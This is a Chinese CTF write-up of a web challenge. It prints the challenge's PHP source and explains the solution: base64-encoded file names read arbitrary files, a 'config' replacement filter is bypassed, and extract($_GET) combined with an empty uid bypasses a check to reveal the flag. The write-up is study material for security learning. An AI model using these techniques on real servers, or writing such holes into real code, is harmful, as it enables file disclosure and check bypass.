-
解题步骤
- 观察URL里面的内容
http://117.51.150.246/index.php?jpg=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
现jpg参数指向一串加密编码。 - 发现编码一个数字开头的字符串,两次base64加密后必然是T开头的。三次base64加密后必然是V开头的。
- TmprMlpUWTBOalUzT0RKbE56QTJPRGN3解两次base64解密,再转换一次ascii,即为明文的flag.jpg
- 观察到明文是个文件名,所以构造一个URL里面有的文件名(index.php即TmprMlpUWTBOalUzT0RKbE56QTJPRGN3)传进去看看。
- 通过下面的base64图片加密,得到index.php的内容。
u«Z:�f {ø"f;m«�64,<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOd z09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/
?>
- 观察代码,你会发现里面有一个博客地址和博客日期(重点)
- 进入该博客的那个日期的文章,里面的文件名一个个试(不要加点)
- 从图片加密中得到一个文件名字f1ag!ddctf.php
- 发现里面有个!会被过滤,观察上述得到的index.php,用f1agconfigddctf.php绕过。
- 得到代码
u«Z:�f {ø"f;m«�64,<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}
?>
-
直接在http://117.51.150.246/f1ag!ddctf.php?uid= 即可获得
DDCTF{436f6e67726174756c6174696f6e73}
。 -
学习心得
-
extract函数只会捕获该函数位置的前面已经定义的变量,该函数的之后不能通过extract来操作。
-
代码中的注释是一定要注意的,这是习惯问题。
网友评论